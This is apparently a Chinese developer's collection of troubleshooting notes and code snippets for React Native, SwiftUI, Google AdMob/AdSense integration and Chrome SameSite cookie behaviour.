The executable was signed with invalid entitlements
网上很多教程,试过都不行,最后发现原来是自己在 Xcode 配置新证书的时候漏了,只修改了一个。
仔细检查 project->Targets
下面的每一个:
之前我就只改了项目名的,漏了 XXXTexts
的了。
其实是 AndroidX 的问题,RN 0.60.x 支持了 AndroidX,但是你使用的一些第三方库不支持导致的,比如 (react-native-gesture-handler),解决方法有两种:
Migrate to AndroidX
来解决,但是当你重新 yarn install
后就会失效,而且也不便于与网络上的其他协作者共享解决文案jetifier
命令行,具体如下:1.安装 jetifier
到项目 devDependencies
:
yarn add -D jetifier
# 或者使用 npm
npm install --save-dev jetifier
package.json
"script": {
"postinstall": "npx jetify",
...
}
yarn install
# 或者使用npm
npm install
最后会看到以下提示信息,表示已经转换完成了:
$ npx jetify
Jetifier found 1219 file(s) to forward-jetify. Using 8 workers...
通过 RN 官方文档,看不到怎么隐藏 WebView 的滚动条,Google 了几下后才发现,原来以下两个属性也支持:
比如:
<WebView
...
showsHorizontalScrollIndicator={false}
showsVerticalScrollIndicator ={false}
/>
react-native >= 0.60 初始化建立的项目,是依赖了 cocoa pods 的,在 Xcode 里打开项目的时候不是打开 ios/{Project}.xcodeproj
,而是要打开 ios/{Project}.xcworkspace
。
出现以上问题的情况,应该是按原来的思路,打开的是 ios/{Project}.xcodeproj
导致的,解决方法就是,完全退出 Xcode 后,重新打开项目 ios/{Project}.xcworkspace
即可。
默认情况下 Android 是不支持 GIF 和 WebP 格式的。你需要在android/app/build.gradle文件中根据需要手动添加以下模块:
dependencies {
// 如果你需要支持Android4.0(API level 14)之前的版本
implementation 'com.facebook.fresco:animated-base-support:1.10.0'
// 如果你需要支持GIF动图
implementation 'com.facebook.fresco:animated-gif:1.12.0'
// 如果你需要支持WebP格式,包括WebP动图
implementation 'com.facebook.fresco:animated-webp:1.10.0'
implementation 'com.facebook.fresco:webpsupport:1.10.0'
// 如果只需要支持WebP格式而不需要动图
implementation 'com.facebook.fresco:webpsupport:1.10.0'
}
参考:【官方文档】
&&
表达式,建议使用三元表达式由于 RN 的文字必须放到 Text 元素里,所以 JSX 写的不当的话,会容易造成语法错误,比如以下:
render() {
return (
...
{article.isTop && <Text>置顶</Text>}
...
)
}
以上当 article.isTop
定义为非布尔类型时,就会报错(提示文字必须包含在 Text 标签内)。比如常见的数字类型:article.isTop = 1
,就会报错。
建议使用三元表达式:
render() {
return (
...
{article.isTop ? <Text>置顶</Text> : null}
...
)
}
当然,要是不喜欢三元,硬是要用 &&
的话也不是不行,但要把条件表达式显式转换为布尔类型,如:
render() {
return (
...
{!!article.isTop && <Text>置顶</Text>}
...
)
}
这是一个 mixed content
的问题,安卓在 5.0 之后就默认打开了这个限制,要解除限制的话需要手动配置,参考 RN官方文档 webview:mixedcontentmode、英文原版文档
如果还是不行,请往下看,AndroidManifest.xml
里添加 android:usesCleartextTraffic="true"
即可。
跟上一条,同样的,安卓平台默认会开启 SSL 安全策略,想要关闭它,需要添加以下配置:
文件 android/app/src/main/AndroidManifest.xml
添加:
<application
....
android:usesCleartextTraffic="true"
....>
说明:
默认情况下,iOS 会阻止所有 http 的请求,以督促开发者使用 https。如果你仍然需要使用 http 协议,那么首先需要添加一个 App Transport Security 的例外,详细可参考这篇帖子。
从 Android9 开始,也会默认阻止 http 请求,请参考相关配置,或者上面说的直接在 AndroidManifest.xml
添加亦可。
解决方法:看这里
相关 issue: react-native-webview/issues/819
或者,直接把 react-native-webview 升级到 7.0+
/**
* 程序运行耗时检测(单位:ms)
*
* @return int
*/
function get_time_cost_ms() {
static $last_time = 0;
$current_time = (int)(microtime(true)*1000);
$delta_time = $last_time == 0 ? 0 : ($current_time - $last_time);
$last_time = $current_time;
return $delta_time;
}
使用:在关键代码的前后调用一下该函数并把返回值打印出来,即可分析耗时!
比如:
...
echo 'step 1: ' .get_time_cost_ms();
$result = get_list(); // 想要监控的关键行
echo 'step 1.1: '.get_time_cost_ms();
...
苹果的文档写的还是不错的,开发前可以多看看官方文档:
@State
变量加上 private
: @State private var score: Int = 0
.padding()
: 如果不加任何参数的话,.padding()
会根据屏幕大小而进行自适应的.alert()
,需要分散到各个互不相嵌的组件修复:
以上方法要注意,UIApplication.shared.addTapGestureRecognizer
可能会导致整个App都生效,而且最好避免重复调用。
如果只是需要在某些子页面隐藏键盘的话,以下方法可能更适用:
// 手动隐藏键盘
// 调用:UIApplication.shared.hideKeyboard()
// 也可以直接在需要的页面元素添加 .onTapGesture { UIApplication.shared.hideKeyboard() }
extension UIApplication {
func hideKeyboard() {
sendAction(#selector(UIResponder.resignFirstResponder), to: nil, from: nil, for: nil)
}
}
解决:https://stackoverflow.com/a/59514820
// Form {}.keyboardResponsive()
struct KeyboardResponsiveModifier: ViewModifier {
@State private var offset: CGFloat = 0
func body(content: Content) -> some View {
content
.padding(.bottom, offset)
.onAppear {
NotificationCenter.default.addObserver(forName: UIResponder.keyboardWillShowNotification, object: nil, queue: .main) { notif in
let value = notif.userInfo![UIResponder.keyboardFrameEndUserInfoKey] as! CGRect
let height = value.height
let bottomInset = UIApplication.shared.windows.first?.safeAreaInsets.bottom
self.offset = height - (bottomInset ?? 0)
}
NotificationCenter.default.addObserver(forName: UIResponder.keyboardWillHideNotification, object: nil, queue: .main) { notif in
self.offset = 0
}
}
}
}
extension View {
func keyboardResponsive() -> ModifiedContent<Self, KeyboardResponsiveModifier> {
return modifier(KeyboardResponsiveModifier())
}
}
struct ViewExample: View {
private var value: Bool
// 计算属性
private var text: String {
"Toggle is " + (value ? "'on'" : "'off'")
}
...
}
默认的字体是不等宽的,比如 8
比 1
宽,但是有些时候我们想要等宽字体怎么办呢?为此,SwiftUI
也给出了解决方案:
Text("123123")
.font(.system(size: 15, design: .monospaced))
texteditor
样式问题传送门:https://serialcoder.dev/text-tutorials/swiftui/texteditor-in-swiftui/
TextField("", text: $inputText, onEditingChanged: { (changed) in
if changed {
// print("text edit has begun")
} else {
// print("committed the change")
}
})
ActionSheet
写法规范(兼容iPad)ActionSheet
在手机端是在底部弹出菜单,但是在 iPad 端会在页内弹出菜单,写法不规范的话,会导致菜单在 iPad 弹出的位置会很奇怪。下面列出几种规范情况:
一、按钮点击后弹出菜单
ActionSheet
跟 Button
联动的,直接写在 Button
后面:
Button(action: {
self.isDeletePresented = true
}) {
Text("Delete")
.foregroundColor(.red)
}
.actionSheet(isPresented: $isDeletePresented, content: {
ActionSheet(title: Text("Cannot be restored after deletion"),
buttons: [
.destructive(Text("Delete")) {
// do something delete here
// ...
},
.cancel({
})
]
)
})
二、列表中的弹出菜单
有一些弹出菜单是跟列表联动的,比如列表项的删除二次确认弹出菜单,需要写在 List
里面的 Foreach
下面:
List {
ForEach(list, id: \.self) { item in
Text("\(item.name)")
}
.onDelete(perform: { offsets in
toDeleteSet = offsets
isPresentingDeleteItem.toggle()
})
.actionSheet(isPresented: $isPresentingDeleteItem, content: {
ActionSheet(title: Text("Would you like to delete this item? This item will be deleted from all of your devices."),
buttons: [
.destructive(Text("Delete")) {
// do something delete here
// ...
},
.cancel({
})
]
)
})
}
解决:使用 .buttonStyle(BorderlessButtonStyle())
List {
...
}
.buttonStyle(BorderlessButtonStyle())
在代码编译的时候,突然发现编译好久,甚至还弹出窗口提示说内存不足,看了下其实没开几个程序,搞的我又升级系统又啥的,还是没解决,最后解决过程记录一下,避免再次踩坑:
打开系统自带的【Activity Monitor】看了下,如图:
由图看到 SourceKitService
和 swift-frontend
两个进程占用内存都好几十G,这很不正常。赶紧先把以上两个进程强制退出(双击进程-》强制退出),电脑马上恢复正常。
然后上网查了一下,找到一篇文章说到,有可能是 View
的传递的参数类型不确定导致的,看了下代码,并进行测试定位,最终定位到了问题代码所在,如下:
...
let UNIT_NUMBER_OFFSET_Y = 4.0 // 就是这里,没有定义好类型,然后下面调用时编译器找不到准确类型,导致崩了
TextField("", text: $kilometer)
.offset(y: UNIT_NUMBER_OFFSET_Y) // 这里需要的是 CGFloat 类型
解决:把传递的参数类型定义好即可:
...
let UNIT_NUMBER_OFFSET_Y: CGFloat = 4.0 // 这里把类型定义好就行
TextField("", text: $kilometer)
.offset(y: UNIT_NUMBER_OFFSET_Y)
.
,编译通过但是页面会卡死比如以下的这种情况一定要注意:
Text("Hello World")
background(Color.yellow) // 少了一个点
正确应该是这样:
Text("Hello World")
.background(Color.yellow)
// 使用方法:
// @State private var showShareSheet: Bool = false
// @State var shareSheetItems: [Any] = []
//
// // 分享按钮
// Button(action: {
// self.shareSheetItems = ["分享的内容,可以是图片、文字等"]
// self.showShareSheet.toggle()
// }) {
// Image(systemName: "arrowshape.turn.up.left")
// }
// .sheet(isPresented: $showShareSheet, content: {
// ActivityViewController(activityItems: self.$shareSheetItems)
// })
//
//
// Created by 陈精任 on 2021/11/19.
//
import SwiftUI
struct ActivityViewController: UIViewControllerRepresentable {
@Binding var activityItems: [Any]
var excludedActivityTypes: [UIActivity.ActivityType]? = nil
func makeUIViewController(context: UIViewControllerRepresentableContext<ActivityViewController>) -> UIActivityViewController {
let controller = UIActivityViewController(activityItems: activityItems,
applicationActivities: nil)
controller.excludedActivityTypes = excludedActivityTypes
return controller
}
func updateUIViewController(_ uiViewController: UIActivityViewController, context: UIViewControllerRepresentableContext<ActivityViewController>) {}
}
调用系统分享,选择微信分享一个链接时,微信识别不了链接内容,这是因为在分享的时候没有把内容设置成链接。
解决:把分享的 String 类型链接改成NSURL 类型即可:
NSURL(string: "https://www.xxx.com/xxx")
开发的时候,一切都就绪,但是开发环境就是没看到数据。原因是开发的时候使用模拟器是没法将数据同步到 iCloud 的,因为模拟器没有登录 iCloud。
iCloud: https://icloud.developer.apple.com/dashboard/database
解决:插上真机,XCode 进行真机测试一下即可。
注意:TestFlight 上的测试包同步的数据是生产环境数据。
之前做的App,后来做新功能新增了一个数据表,原来的那个表也增加一一些字段,然后就开始同步不了了,查了下都找不到解决办法,拖了好久,今天才偶然见到这个 帖子,解决办法如下:
修改过数据表的话,需要点一下 https://icloud.developer.apple.com/dashboard/ 里的 Deploy Schema Changes…
,将这些更改部署到 CloudKit 仪表板上的生产环境。
如果遇到,在开发过程中新增 entity 之后,在 cloudkit 网站 development 上看不到有新 schema,那是因为没有在真机测试的原因。因为模拟器是没有登录 icloud 账号的所以同步不上去,而 testflight 是生产环境数据,所以,需要把手机直接用线连接电脑进行真机测试之后,马上就能在 cloudkit 网站看到新的数据变化了。
参考:https://www.hackingwithswift.com/quick-start/swiftui/how-to-convert-a-swiftui-view-to-an-image
以上是使用 UIImage.snapshot()
实现的。
参考:https://www.vinzius.com/post/how-to-remove-padding-when-snapshotting-swiftui-view-ios15/
参考:https://stackoverflow.com/a/62207329
SwiftUI 并不是自动兼容黑夜模式的,只有几个颜色自动兼容(比如:Color.primary, Color.secondary 等),但是并不是所有都兼容的(比如:Color.white, Color.black 等),所以如果没有特意去做兼容的话,最后 App 在黑夜模式下会有问题。
具体做法:
import Foundation
import SwiftUI
extension Color {
#if os(macOS)
static let background = Color(NSColor.windowBackgroundColor)
static let secondaryBackground = Color(NSColor.underPageBackgroundColor)
static let tertiaryBackground = Color(NSColor.controlBackgroundColor)
#else
static let background = Color(UIColor.systemBackground)
static let secondaryBackground = Color(UIColor.secondarySystemBackground)
static let tertiaryBackground = Color(UIColor.tertiarySystemBackground)
#endif
}
Color.background
等作为背景色,Color.primary
, Color.secondary
作为内容色,其中 Color.secondary
可以替代 Color.gray
。struct ContentView: View {
@Environment(\.colorScheme) var colorScheme
...
var body: some View {
// ... to any view
.background(colorScheme == .dark ? Color.black : Color.white)
}
}
默认的情况下,两个 View 之间会有一个距离,哪怕 padding 都设定为0,要解决这个问题,只需要加上 spacing: 0
VStack(spacing: 0) {
...
}
解决:使用 zip 进行循环
@State private var arr: Array<Int> = [1, 2, 3, 3, 2, 1]
LazyVGrid(columns: [GridItem(.adaptive(minimum: 60))]) {
ForEach(Array(zip(arr.indices, arr)), id: \.0) { ndx, item in
Text("num: \(item)")
}
}
init()
初始化struct TestView: View {
@Binding var text: String
var height: CGFloat = 188
init(text: Binding<String>, height: CGFloat = 188) {
self._text = text // 使用下横线作为 binding 字段
self.height = height
}
...
}
// 读取View尺寸()
extension View {
func readSize(onChange: @escaping (CGSize) -> Void) -> some View {
background(
GeometryReader { geometryProxy in
Color.clear
.preference(key: SizePreferenceKey.self, value: geometryProxy.size)
}
)
.onPreferenceChange(SizePreferenceKey.self, perform: onChange)
}
}
private struct SizePreferenceKey: PreferenceKey {
static var defaultValue: CGSize = .zero
static func reduce(value: inout CGSize, nextValue: () -> CGSize) {}
}
用法:
@State private var viewSize: CGSize = CGSize()
@State private var text: String = "Hello World"
...
Text("\(text)")
.readSize(onChange: { size in
self.viewSize = size
})
...
很多时候我们不想要文字被截断,可以做以下控制:
Text("Hello world!!!")
.lineLimit(1)
.fixedSize(horizontal: true, vertical: true) // 显示全部文本内容
.frame(maxWidth: .infinity) // 还是会有被截断的机率,加上这行就可以了
@ObservedObject
对象里的某些字段变化,为什么界面不改变很多时候,我们需要对一个对象进行监听变化的时候,都可以使用 @ObservedObject
标识符进行监听,但是对象里的字段需要设定为 @Published
,才会被监听。
struct PageTetris: View {
@ObservedObject var game = TetrisGameUI()
...
}
class TetrisGameUI : ObservableObject {
var rows: Int = 0 // 普通变量,不会被监听
@Published var status: Int = 0 // published 变量,才会被监听
...
}
setInterval
var timer : Timer?
...
// 开启定时器
timer = Timer.scheduledTimer(withTimeInterval: 0.5, repeats: true, block: update)
...
// 关闭定时器
timer?.invalidate()
timer = nil
func update(timer: Timer){
...
}
网上找过很多例子,有一些是不支持 iOS 14 的,最后总结了下,以下方式支持 iOS 14 + 的:
首先要保证以下几个步骤:
Info.plist
add: NSLocationWhenInUseUsageDescription
以下代码已封装,可以直接调用:
import SwiftUI
import SystemConfiguration.CaptiveNetwork
import CoreLocation
final class NetworkManager: NSObject {
// 单例模式,调用:NetworkManager.shared.xxx
static let shared = NetworkManager()
private let manager: CLLocationManager = CLLocationManager()
struct NetworkInfo {
var interface: String
var success: Bool = false
var ssid: String?
var bssid: String?
}
private override init() {
super.init()
}
// 请求用户权限
func requestPermission() {
manager.requestWhenInUseAuthorization()
}
func fetchNetworkInfo() -> [NetworkInfo]? {
// 首先确保权限可用(如果还没请求过权限,那么第一次请求该方法会返回空值)
requestPermission()
if let interfaces: NSArray = CNCopySupportedInterfaces() {
var networkInfos = [NetworkInfo]()
for interface in interfaces {
let interfaceName = interface as! String
var networkInfo = NetworkInfo(interface: interfaceName,
success: false,
ssid: nil,
bssid: nil)
if let dict = CNCopyCurrentNetworkInfo(interfaceName as CFString) as NSDictionary? {
networkInfo.success = true
networkInfo.ssid = dict[kCNNetworkInfoKeySSID as String] as? String
networkInfo.bssid = dict[kCNNetworkInfoKeyBSSID as String] as? String
}
networkInfos.append(networkInfo)
}
return networkInfos
}
return nil
}
}
调用栗子:
Button(action: {
let infos = NetworkManager.shared.fetchNetworkInfo()
if let ssid = infos?.first?.ssid {
print("SSID: \(ssid)")
}
}) {
Text("Get current WiFi SSID")
}
如果是第一次访问,界面会弹出授权框,然后返回 SSID 为空,需要用户授权后再点一次按钮才可以正常返回 SSID 值。
当然,也可以选择在页面初始化的时候先调用 NetworkManager.shared.requestPermission()
,首次访问时,页面在打开的时候就已经给用户弹出授权框,这样用户在点击按钮的时候就不会再弹窗了。
Picker
会导致页面的 .onAppear
会重复触发比如以下情况,onAppear
会在 Picker
每次选完后触发:
var body: some View {
VStack {
Picker("Type", selection: $method) {
ForEach(["1", "2"], id: \.self) {item in
Text("\(item)")
.tag(item)
}
}
}
.onAppear {
print("onAppear")
}
}
解决办法,自己进行排重,因为一个页面只需要触发一次就够了:
// 排重变量
@State private var onAppearDone: Bool = false
var body: some View {
VStack {
Picker("Type", selection: $method) {
ForEach(["1", "2"], id: \.self) {item in
Text("\(item)")
.tag(item)
}
}
}
.onAppear {
// 排重
if self.onAppearDone { return }
onAppearDone = true
print("onAppear")
}
}
import Foundation
import CoreData
public class Record: NSManagedObject, Identifiable {
@NSManaged public var date : Date?
@NSManaged public var timeElapsed : Int32
@NSManaged public var errors : Int16
@NSManaged public var victory : Bool
}
extension Record {
static func getAllRecords() -> NSFetchRequest<Record> {
let request: NSFetchRequest<Record> = Record.fetchRequest() as!
NSFetchRequest<Record>
let sortDescriptor = NSSortDescriptor(key: "date", ascending: true)
request.sortDescriptors = [sortDescriptor]
return request
}
}
使用 @AppStorage
可以把变量绑定到本地存储 UserDefaults
:
struct PageSettings: View {
@AppStorage("key_showFavList") private var showFavList: Bool = false
var body: some View {
List {
Section {
Toggle(isOn: $showFavList) {
Text("Show Fav List")
}
}
}
...
}
CoreData 有时候数据更新后,列表数据没及时更新。
.shadow()
阴影效果导致 SwiftUI 页面卡顿最近有个页面发现了很严重的卡顿问题,查了很久才定位到原来是 .shadow()
的锅。
下面这个小组件使用了阴影效果,该组件被某个界面大量引用,导致页面卡顿:
Image(systemName: "xxxx")
.font(.system(size: 32))
.foregroundColor(Color.orange)
.frame(width: 65, height: 65)
.background(Color.white)
.cornerRadius(18)
.shadow(color: Color.secondary.opacity(0.1), radius: 2, x: -1, y: -1)
.shadow(color: Color.secondary.opacity(0.2), radius: 5, x: 3, y: 2)
解决:目前没什么好的解决办法,只能暂时删掉阴影效果,改用 border 效果顶一下吧,比如:
Image(systemName: "xxxx")
.font(.system(size: 32))
.foregroundColor(Color.orange)
.frame(width: 65, height: 65)
.background(Color.white)
.cornerRadius(18)
// .shadow(color: Color.secondary.opacity(0.1), radius: 2, x: -1, y: -1)
// .shadow(color: Color.secondary.opacity(0.2), radius: 5, x: 3, y: 2)
.overlay(
RoundedRectangle(cornerRadius: 18)
.stroke(Color.gray.opacity(0.09), lineWidth: 1)
)
/*
* 平台判定条件封装
* 用法:
* Text("Hello World")
* .iOS { $0.padding(10) }
*
* @link https://www.hackingwithswift.com/quick-start/swiftui/swiftui-tips-and-tricks
*/
extension View {
func iOS<Content: View>(_ modifier: (Self) -> Content) -> some View {
#if os(iOS)
return modifier(self)
#else
return self
#endif
}
func macOS<Content: View>(_ modifier: (Self) -> Content) -> some View {
#if os(macOS)
return modifier(self)
#else
return self
#endif
}
func tvOS<Content: View>(_ modifier: (Self) -> Content) -> some View {
#if os(tvOS)
return modifier(self)
#else
return self
#endif
}
func watchOS<Content: View>(_ modifier: (Self) -> Content) -> some View {
#if os(watchOS)
return modifier(self)
#else
return self
#endif
}
}
SwiftUI 规定,所有的容器都不能返回超过10个子组件,一般我们会使用 ForEach 循环或者 List 去实现,但是有时候界面上的设计就是需要同级的子组件有超过10个,那怎么办呢?
方法:添加 Group
List {
Group {
Text("Row 1")
Text("Row 2")
Text("Row 3")
Text("Row 4")
Text("Row 5")
Text("Row 6")
}
Group {
Text("Row 7")
Text("Row 8")
Text("Row 9")
Text("Row 10")
Text("Row 11")
Text("Row 12")
}
}
func gotoAppPrivacySettings() {
guard let url = URL(string: UIApplication.openSettingsURLString),
UIApplication.shared.canOpenURL(url) else {
assertionFailure("Not able to open App privacy settings")
return
}
UIApplication.shared.open(url, options: [:], completionHandler: nil)
}
参考 https://medium.com/@guerrix/info-plist-localization-ad5daaea732a,增加一个 InfoPlist.strings
文件并本地化即可。
但是,上传到 AppStore 后,有可能会出现问题,会提示 info.plist
缺少权限描述而导致审核不通过。
解决方法:
按正常的在 info.plist
添加描述,同时按上面的说明去添加 InfoPlist.strings
多语言支持即可。
使用 @State private var canvas = PKCanvasView()
进行画板功能实现,然后使用 canvas.image()
进行图像保存,在 dark mode
模式下会出现颜色的反转的问题。
解决:画板就不应该支持黑夜模式,参考:https://stackoverflow.com/a/64341486/20251459
1、先扩展 image
方法:
import PencilKit
extension PKDrawing {
// 保存图片时支持(白天/黑夜)模式选择
func image(from rect: CGRect, scale: CGFloat, userInterfaceStyle: UIUserInterfaceStyle) -> UIImage {
let currentTraits = UITraitCollection.current
UITraitCollection.current = UITraitCollection(userInterfaceStyle: userInterfaceStyle)
let image = self.image(from: rect, scale: scale)
UITraitCollection.current = currentTraits
return image
}
}
2、将 PKCanvasView
设置成 light
模式
init() {
canvas.overrideUserInterfaceStyle = .light
}
3、保存图片的时候,使用扩展的 image
方法
func saveImage() {
// getting image from Canvas
let image: UIImage = canvas.drawing.image(from: canvas.drawing.bounds, scale: 1, userInterfaceStyle: .light)
// saving to album
UIImageWriteToSavedPhotosAlbum(image, nil, nil, nil)
}
参考:https://stackoverflow.com/a/63602455/20251459
解决:
NavigationLink
放到页面的其中一个 View 的 background
里,利用 isActive
控制展示toolbar
里点击后把 isActive
置为 true
App和网站需要接入广告来进行变现的话,一般都会选择 Google。
自己网站和APP的广告,开发阶段千万不要在自己手机去点击广告,不然很有可能会因 “无效流量” 而导致账号被封。
我之前就在一个 APP 接入广告的时候使用了真实广告 ID 开发,然后点击了几下广告,导致好长一段时间广告都不展示了。
开发阶段需要测试的话,要用官方提供的测试ID或者添加测试设备进行测试。
Google 的 App 广告平台叫 Google AdMob:
Google-Mobile-Ads-SDK
下载安装我个人喜欢手动安装,别忘了添加 -ObjC
。
目前已经有了 Swift Package Manager 的方式,就更方便了。
info.plist
添加对应字段GADApplicationIdentifier
SKAdNetworkItems
NSUserTrackingUsageDescription
NSAppTransportSecurity
SwiftUI 可以在 App
入口文件 init()
里进行初始化:
struct exampleApp: App {
init() {
if #available(iOS 14, *) {
DispatchQueue.main.asyncAfter(deadline: .now() + 1, execute: {
ATTrackingManager.requestTrackingAuthorization { status in
GADMobileAds.sharedInstance().start(completionHandler: nil)
}
})
} else {
GADMobileAds.sharedInstance().start(completionHandler: nil)
}
}
var body: some Scene {
WindowGroup {
ContentView()
// FIXED: 这里是针对 iOS15 的
.onReceive(NotificationCenter.default.publisher(for: UIApplication.didBecomeActiveNotification)) { _ in
ATTrackingManager.requestTrackingAuthorization(completionHandler: { status in })
}
}
}
}
UIKit 的用户需要在 AppDelegate.swift
的 didFinishLaunchingWithOptions
里初始化,代码一样:
@UIApplicationMain
class AppDelegate: UIResponder, UIApplicationDelegate {
func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool {
DispatchQueue.main.asyncAfter(deadline: .now() + 1.0, execute: {
ATTrackingManager.requestTrackingAuthorization { status in
GADMobileAds.sharedInstance().start(completionHandler: nil)
}
})
return true
}
...
}
接入成功的话,第一次打开 App 会有弹窗:
按【这里】的教程,封装好几个广告的展示组件,即可直接使用。
再次提醒,千万别点击自己的广告,另外,开发过程中请使用测试单元ID。
Swiftui 里可以这样定义你的广告单元ID:
class GoogleAdMobIds {
static let test_banner: String = "ca-app-pub-3940256099942544/2934735716"
static let test_rewarded: String = "ca-app-pub-3940256099942544/1712485313"
#if DEBUG // 开发测试环境
static let banner_homepage: String = GoogleAdMobIds.test_banner
static let banner_page1: String = GoogleAdMobIds.test_banner
#else // 生产环境
static let banner_homepage: String = "ca-app-pub-2849990666xxxxxx/xxxxxxxxxx"
static let banner_page1: String = "ca-app-pub-2849990666xxxxxx/yyyyyyyyyy"
#endif
}
Google 的网站广告平台叫 Google AdSense
接入方式还是挺简单的,看看官方文档一般都没问题,就是在官网获取一段 <script>
代码加到 <head>
里而已。
链接:
授权应用卖方(或 app-ads.txt) 是一项 IAB 计划,可帮助保护你的应用广告资源免遭广告欺诈。你可以创建 app-ads.txt 文件来指明有权销售你的广告资源的卖方。通过指明授权卖方,你可以避免那些原本可能流向欺诈应用的仿冒广告资源的广告客户支出。
app-ads.txt 文件是公开的,可供广告交易平台、供应方平台 (SSP) 以及其他买方和第三方供应商抓取。
授权应用卖方 (app-ads.txt) 是授权数字卖方 (ads.txt) 计划的延伸和扩展,后者最初设计用于保护网络广告资源。app-ads.txt 在 ads.txt 的基础上扩展了兼容性, 使之支持移动应用中展示的广告。
通俗来说,有了app-ads.txt像是有了保障,可以保证广告来源的质量。
应用的话,必须在开发者网站添加请注意以下两点:
App Store 里的字段是:Marketing URL
:
有添加开发者网站的,应用详情页里会有展示:
AdMob 里验证通过 app-ads.txt 之后是长这样的:
Google AdMob SDK 并不支持 OSX,所以在代码里也要做区别对待,不然编译不通过。
广告相关的组件代码文件以及Google AdMob SDK都需要设置成只对 iOS
有效,如图:
The app references non-public selectors in Payload/xxx.app/xxx: callWithArguments:, estimatedProgress, frameInfo, initWithFrame:configuration:, isMainFrame, navigationType, setNavigationDelegate:, setProcessPool:, toDouble, toString, userContentController With error code STATE_ERROR.VALIDATION_ERROR.50 for id 3c74c4d0-e222-4a4a-ba92-6161594ec147
目前还在解决中!
把 package
里的包更新一下,然后退出 XCode 后,重新打开一下就好了,也不知道为什么。
但是在模拟机上怎么都发现不了问题,经对比发现,这个 App 打开了 Supports multiple windows
,而广告请求上没有传递场景参数而导致的。其实在模拟机上也显示不了广告。
解决:要不把多窗口关闭,要不在广告请求上增加场景请求,具体参考相关文档。
Chrome 51 开始,浏览器的 Cookie 新增加了一个 SameSite 属性,用来防止 CSRF 攻击和用户追踪。
Chrome 80 默认禁用第三方 Cookie,也就是说,会默认会给第三方 Cookie 添加 SameSite=Lax
属性,也就是说,A 域名跨域请求 B 域名的时候,Cookie 不会带过去,这会导致以下几种情况
Chrome 中打开 chrome://flags/#same-site-by-default-cookies
和 chrome://flags/#cookies-without-same-site-must-be-secure
两个 Flag,就能提前试验屏蔽第三方 Cookie 的效果
Chrome 计划将Lax变为默认设置。这时,网站可以选择显式关闭SameSite属性,将其设为None。不过,前提是必须同时设置Secure属性(Cookie 只能通过 HTTPS 协议发送),否则无效。
下面的设置无效:
Set-Cookie: widget_session=abc123; SameSite=None
下面的设置有效。
Set-Cookie: widget_session=abc123; SameSite=None; Secure
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.